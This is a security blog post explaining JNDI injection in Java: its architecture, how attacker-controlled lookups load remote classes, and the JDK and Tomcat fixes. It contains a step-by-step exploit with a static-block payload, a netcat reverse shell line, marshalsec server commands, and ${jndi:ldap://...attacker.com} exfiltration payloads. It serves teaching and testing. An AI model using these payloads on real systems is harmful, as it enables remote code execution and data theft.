BOOK THIS SPACE FOR AD
ARTICLE ADThis blog investigates the security implications of JNDI Injection, a vulnerability that arises when malicious actors manipulate JNDI lookups to execute unauthorized code.
Introduction
Java Naming and Directory Interface (JNDI) is a Java API that facilitates interaction with naming and directory services.
It allows Java applications to discover and retrieve data and resources via a name, rather than requiring direct references to their locations.
These objects can be stored in different naming or directory services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).
Architecture
The JNDI architecture consists of an API and a service provider interface (SPI).The SPI enables a variety of naming and directory services to be plugged in transparently, thereby allowing the Java application using the JNDI API to access their services.More: https://docs.oracle.com/javase/tutorial/jndi/overview/index.htmlKey Features of JNDI
1. Binding Objects
JNDI enables the binding of Java objects to names in a naming/directory service.2. Lookup and Querying
Applications can use JNDI to look up or query objects based on their names or attributes. This enables dynamic retrieval of resources or services at runtime.3. Extensibility through SPIs
JNDI supports various directory services through Service Provider Interfaces (SPIs). These SPIs enable the integration of JNDI with different naming and directory systems.Understanding Naming and Directory Service
1. Naming Service
Naming Service relates names to objects and provides facilities to find objects based on their names using the ‘lookup’ operation.Context ctx = new InitialContext(env);MyObject obj = (MyObject) ctx.lookup("myObject");
2. Directory Service
It is a special type of Naming Service that allows storing and searching for directory objects based on their attributes, rather than just names.DirContext ctx = new InitialDirContext(env);NamingEnumeration<?> namingEnum = ctx.search("ou=people", "(cn=Sickurity Wizard)");
The Vulnerability
Below, is a basic JNDI client application:
public class SimpleJndiLookup {public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:9999");
try {
Context ctx = new InitialContext(env);
Object obj = ctx.lookup("object");
System.out.println(obj);
ctx.close();
} catch (NamingException e) {
System.err.println("Problem encountered during lookup: " + e);
}
}
}
If an attacker can control the name of an object, they may redirect it to an RMI/LDAP/CORBA server under their control, returning an arbitrary object. If this object is an instance of a JNDI naming reference, the JNDI client attempts to resolve the “classFactory” and “classFactoryLocation” attributes associated with it. If “classFactory” value is unknown to the target Java application, Java retrieves the factory’s bytecode from the specified “classFactoryLocation” location using Java’s URLClassLoader. When loading the reference factory remotely or locally, the embedded RCE payload gets executed.
Note
It doesn’t matter even if the server has predefined the INITIAL_CONTEXT_FACTORY and PROVIDER_URL. If the parameters can be controlled by the attacker during the lookup, they will be dynamically converted according to the URL provided by the attacker, and overwrite the previously set values, pointing the lookup operation to the attacker’s controlled server.
JNDI attack can be performed using different SPIs such as LDAP, RMI, CORBA and DNS.
Attack Flow
InitialContext.lookup(URI) is is invoked within the target application, where the URI is user-controller.The attacker manipulates the URI parameter to point to a malicious RMI service, using a URL such as rmi://hacker.rmi/exploit.The attacker’s RMI server returns a Reference object. This Reference object includes a specifically crafted Factory class.The target application dynamically loads and instantiate the Factory class, and then call factory.getObjectInstance() to obtain the external remote object instance.The instantiation of this Factory class triggers the execution of malicious code. This could be written within the constructor, static block, or the getObjectInstance() method of the Factory class, to achieve to Remote Code Execution (RCE).This technique worked well up to Java 8u121 until Oracle added codebase restrictions to RMI.
After that, it was possible to use a malicious LDAP server returning the same reference. However since 8u191, when a JNDI client receives a Reference object, its “classFactoryLocation” is not used, either in RMI or in LDAP.
Changes made to prevent the vulnerability:
RMIcom.sun.jndi.ldap.object.trustURLCodebaseThis property has default value of false from JDK 6u132, 7u122, 8u113 and later versionsIt prevents RMI objects obtained through JNDI from automatically loading class definitions from remotely provided codebase URLs.Here, SecurityManager further limits what can be loaded.2. LDAP
com.sun.jndi.ldap.object.trustURLCodebaseThis property has default value of false from JDK 6u211, 7u201, 11.0.1, 8u191 and later version.Disables the automatic loading of Java class definitions from remote locations for objects retrieved via LDAP services in JNDI.3. Corba
com.sun.jndi.cosnaming.object.trustURLCodebaseDisables the automatic loading of Java class definitions from remote locations for objects retrieved via COBRA services in JNDI.Exploiting JNDI in older JDK Versions
Create Exploit.java containing your malicious codepublic class Exploit {static {
try {
java.lang.Runtime.getRuntime().exec⠀("curl burp.com");
// java.lang.Runtime.getRuntime().exec⠀("nc -e /bin/bash IP 4444");
} catch (Exception e) {
e.printStackTrace();
}}}
2. Compile the code
javac Exploit.java -source 8 -target 8
3. Host the Exploit.class using a Http Server
python3 -m http.server 8081
4. Run the LDAP/RMI Server. Here we are utilizing marshalsec to start the server
#LDAPjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://PythonServerServingRemoteClass:8081/#Exploit"#RMI
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://PythonServerServingRemoteClass:8081/#Exploit"
5. Execute Payload
LDAP : ldap://LDAPServerIP:1389/ExploitRMI : rmi://RMIServerIP:1099/ExploitNote: Ensure that all IP addresses and ports are correctly configured to match your network setup.
Exploiting JNDI in Newer JDK Versions
Despite the restrictions implemented in newer JDK versions to mitigate JNDI vulnerabilities, below are some scenarios that illustrate how attackers can still exploit them.
1. trustURLCodebase is set to True
If com.sun.jndi.ldap.object.trustURLCodebase is explicitly set to True, it disables the mitigation and can then be exploited using the basic exploits.System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //LDAP2. Abusing via DNS message lookups
Although JNDI remote class loading is disabled in newer Java versions, the message lookup mechanism itself still works.Detection -> ${jndi:dns://attacker.com/gg}DNS Exfiltration→ ${jndi:ldap://${BELOWPAYLOADHERE}.attacker.com/gg}Example Payloadsmain:argumentName → Exfiltrate value of command line argumentsys:propname ⠀⠀⠀ → Exfiltrate SystemProperty value(Ex: user.name)3. Abusing factory classes in the local classpath
In higher versions, although malicious Factory cannot be loaded remotely, attacker can still specify the Factory class and its attributes, through the supplied JNDI Reference.An attacker can reuse any factory class in the vulnerable program’s classpath as a gadget.A useable factory class would have the following properties:1) Exist in the vulnerable program's classpath2) Implement the ObjectFactory interface
3) Implement the getObjectInstance method
4) Perform dangerous actions with the Reference's attributes
Example Gadget Class
BeanFactoryIn this, arbitrary Java code objects are created (using Reflection), based solely on the Reference’s string attributes, which are attacker controlled.Here we can use org.apache.naming.factory.BeanFactory as the local Factory class, then use javax.el.ELProcessorthe class as the target class and use EL expressions to execute commands.If the org.apache.naming.factory.BeanFactory class (which is shipped with Tomcat) is available in the classpath, RCE can be achieved regardless of the underlying JRE/JDK version.A detailed dive on this can be found in this blog: https://www.cnblogs.com/Welk1n/p/11066397.htmlHowever, this was fixed in below tomcat versions8.5.x for 8.5.79 onwards9.0.x for 9.0.63 onwards
10.0.x for 10.0.21 onwards
10.1.x for 10.1.0-M14 onwards
There are several other gadgets that have been found by security researchers.
While writing this blog, I created multiple labs to experiment with the vulnerability. Here is a link to the repository to try it out: Jndi-Injection-Labs
In the next part, we will explore how LDAP poisoning can be used for JNDI exploitation.
Follow me on Twitter for updates: https://twitter.com/sickuritywizard
Happy Hacking…
References
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdfhttps://www.cnblogs.com/Welk1n/p/11066397.htmlhttps://github.com/pimps/JNDI-Exploit-Kit